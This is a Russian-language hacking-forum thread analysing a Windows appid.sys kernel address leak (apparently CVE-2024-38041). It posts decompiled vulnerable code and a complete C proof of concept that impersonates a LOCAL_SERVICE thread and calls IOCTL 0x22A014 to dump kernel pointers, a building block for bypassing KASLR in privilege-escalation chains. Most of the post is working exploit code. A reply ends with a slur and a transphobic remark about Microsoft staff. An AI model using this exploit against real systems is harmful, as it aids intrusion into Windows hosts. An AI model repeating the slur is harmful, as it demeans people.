• XSS.stack #1 – первый литературный журнал от юзеров форума

[CVE-2024-38041] - утечка ядерных адресов, короткий анализ и PoC

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
Без долгих вступлений, после июльских обновлений в appid.sys появился фикс утечки ядерных указателей. Какая это CVE я точно не могу сказать, но по описанию подходит CVE-2024-38041.
Как работать с интерфейсами этого драйвера и его эксплуатировать писали здесь.

По аналогии с CVE-2024-21338 добавлена проверка на PreviousMode для IOCTL 0x22A014.

1720809514251.png


Упрощенно уязвимый код выглядит следующим образом.

C:
case 0x22A014u:
    if ( CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength != 0x30 )
        goto InvalidParam;
    out_buf = Irp->AssociatedIrp.SystemBuffer;
    *out_buf = &Resource;
    out_buf[1] = &xmmword_1C00168A8;
    out_buf[2] = &xmmword_1C00168A8 + 1;
    out_buf[3] = &qword_1C00168B8;
    out_buf[4] = AiReleaseOriginProcessData;
    out_buf[5] = AiAllocUninstallStringData;
    Irp->IoStatus.Information = 0x30i64;
Success:
    status = STATUS_SUCCESS;
    break;

Т.е. в исходящий буфер пишутся указатели ряда переменных и указаталей на функции драйвера. ПоЦ тривиален.

C:
/*
                PoC Info
-------------------------------------------
Vulnerability:    CVE-LEAK-UNKNOWN
Environment:    Windows 11 22h2 Build 22621
-------------------------------------------
*/

#include <Windows.h>
#include <winsvc.h>
#include <stdio.h>
#include <processthreadsapi.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <stdint.h>
#include <winternl.h>
#include <psapi.h>
#include <string.h>

#pragma comment(lib, "ntdllp.lib")

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define IOCTL_LEAK_SOME_PTRS            0x22A014

//
// Main exploit structures definition
//
typedef struct _LEAKED_DATA {
    uint64_t field0;
    uint64_t field1;
    uint64_t field2;
    uint64_t field3;
    uint64_t field4;
    uint64_t field5;
}LEAKED_DATA;

//
// SC Manager helper functions
//
SC_HANDLE GetSCM()
{
    SC_HANDLE svcManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!svcManager)
    {
        printf("[-] OpenSCManagerW failes with error %lu\n", GetLastError());
        return FALSE;
    }

    else
    {
        printf("[+] OpenSCManagerW handle value opened!\n");
        return svcManager;
    }
}

void AppIDStart()
{
    printf("[!] Starting AppIDSvc\n");
    system("sc start AppIDSvc");
}

SC_HANDLE GetServiceHandleByName(LPCWSTR ServiceName)
{
    SC_HANDLE sh = 0;
    BOOL success = FALSE;
    SC_HANDLE scm = GetSCM();
    if (scm)
    {
        sh = OpenServiceW(scm, ServiceName, SERVICE_QUERY_STATUS);
        if (sh == NULL)
        {
            printf("[-] OpenServiceW failed with error %d\n", GetLastError());
            return 0;
        }

        else return sh;
    }

    return 0;
}

DWORD GetServiceProcessID(LPCWSTR ServiceName)
{
    SERVICE_STATUS_PROCESS ssp = { 0 };
    DWORD dwBytesNeeded = 0;
    SC_HANDLE ServiceHandle = 0;

    ServiceHandle = GetServiceHandleByName(ServiceName);

    if (!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded))
    {
        printf("[-] QueryServiceStatusEx failed with error %d\n", GetLastError());
        CloseServiceHandle(ServiceHandle);
    }

    else
    {
        printf("[+] SERVICE_STATUS_PROCESS.dwProcessId = %d\n", ssp.dwProcessId);
        return ssp.dwProcessId;
    }

    return 0;
}

DWORD GetFirstThreadID(DWORD PID)
{
    THREADENTRY32 te32 = { 0 };
    HANDLE hThreadSnap;

    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    te32.dwSize = sizeof(THREADENTRY32);
    Thread32First(hThreadSnap, &te32);

    do
    {
        if (te32.th32OwnerProcessID == PID)
        {
            printf("[+] GetFirstThreadID first TID = %d\n", te32.th32ThreadID);
            return te32.th32ThreadID;
        }
    } while (Thread32Next(hThreadSnap, &te32));

    return ERROR_FILE_NOT_FOUND;
}


BOOL SetPrivilege(
    HANDLE hToken,          // access token handle
    LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
    BOOL bEnablePrivilege   // to enable or disable privilege
    )
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if ( !LookupPrivilegeValue(
            NULL,            // lookup privilege on local system
            lpszPrivilege,   // privilege to lookup
            &luid ) )        // receives LUID of privilege
    {
        printf("LookupPrivilegeValue error: %u\n", GetLastError() );
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.

    if ( !AdjustTokenPrivileges(
           hToken,
           FALSE,
           &tp,
           sizeof(TOKEN_PRIVILEGES),
           (PTOKEN_PRIVILEGES) NULL,
           (PDWORD) NULL) )
    {
          printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
          return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

    {
          printf("The token does not have the specified privilege. \n");
          return FALSE;
    }

    return TRUE;
}

BOOL EnableDebugPrivilege()
{
    HANDLE tempTokenHandle;
    HANDLE currentToken;
    BOOL success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle);
    if (!success)
    {
        printf("[-] Failed to open current process token\n");
        return FALSE;
    }

    currentToken = tempTokenHandle;
    success = SetPrivilege(currentToken, L"SeDebugPrivilege", TRUE);

    if (!success)
    {
        printf("[-] Failed to set SeDebugPrivilege\n");
        return FALSE;
    }

    return TRUE;
}

int main()
{
    DWORD dwLocalSvcId = 0;
    DWORD tid = 0;
    HANDLE local_service_thread;
    BOOL success = FALSE;
    HANDLE hLocalSvc = 0;
    SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
    HANDLE hAppID;

    //
    // Start the vulnerable service, because it's off by default
    //
    AppIDStart();

    //
    // It could be any service which is running at LOCAL_SERVICE privileges
    // except services running as PPL
    //
    dwLocalSvcId = GetServiceProcessID(L"BthAvctpSvc");
    tid = GetFirstThreadID(dwLocalSvcId);
    success = EnableDebugPrivilege();
    if (!success)
    {
        printf("[-] EnableDebugPrivilege failed\n");
    }

    hLocalSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwLocalSvcId);
    if (!hLocalSvc)
    {
        printf("[-] Couldn't get a handle to the LOCAL_SERVICE process with error %d\n", GetLastError());
    }

    local_service_thread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, tid);

    if (local_service_thread == NULL)
    {
        printf("[-] OpenThread failed with error %d\n", GetLastError());
      
    }

    else
    {
        printf("[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process\n");
    }

    sqos.Length = sizeof(sqos);
    sqos.ImpersonationLevel = SecurityImpersonation;
    NTSTATUS  status = NtImpersonateThread(GetCurrentThread(), local_service_thread, &sqos);

    if (!NT_SUCCESS(status))
    {
        printf("[-] NtImpersonateThread failed with status = %x\n", status);
    }

    hAppID = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\AppID", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    if (hAppID == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFileW failed with error %d\n", GetLastError());
    }

    RevertToSelf();

    DWORD out_buf_size = sizeof(LEAKED_DATA);
    LEAKED_DATA ld = { 0 };

    success = DeviceIoControl(hAppID, IOCTL_LEAK_SOME_PTRS, 0, 0, &ld, out_buf_size, NULL, NULL);

    if (success == FALSE)
    {
        printf("[-] DeviceIoControl failed with error %x\n", GetLastError());
    }

    //
    // Print some leaked data
    //
    printf("\nfield0 -> %llx\nfield1 -> %llx\nfield2 -> %llx\nfield3 -> %llx\nfield4 -> %llx\nfiedl5 -> %llx\n",
            ld.field0, ld.field1, ld.field2, ld.field3, ld.field4, ld.field5);

    return 0;
}

leak.png
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
но по описанию подходит CVE-2024-38041
Так и есть, а мелкософт в своем репертуаре.

cve.jpg


В их бюллетенях бага помечена в компоненте "Windows Kernel" и это странно, т.к. обычно это относится к ntoskrnl.exe, а уязвимости в драйверах указываются явно (по названию компонента). Вот так начнешь диффать ядро в поиске утечки, а ничего не найдешь. Впрочем, веры питухам и так не было. Они не могут определиться даже с собственными бюллетенями. Что уж тут удивляться, у них там и с определением пола проблемы.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх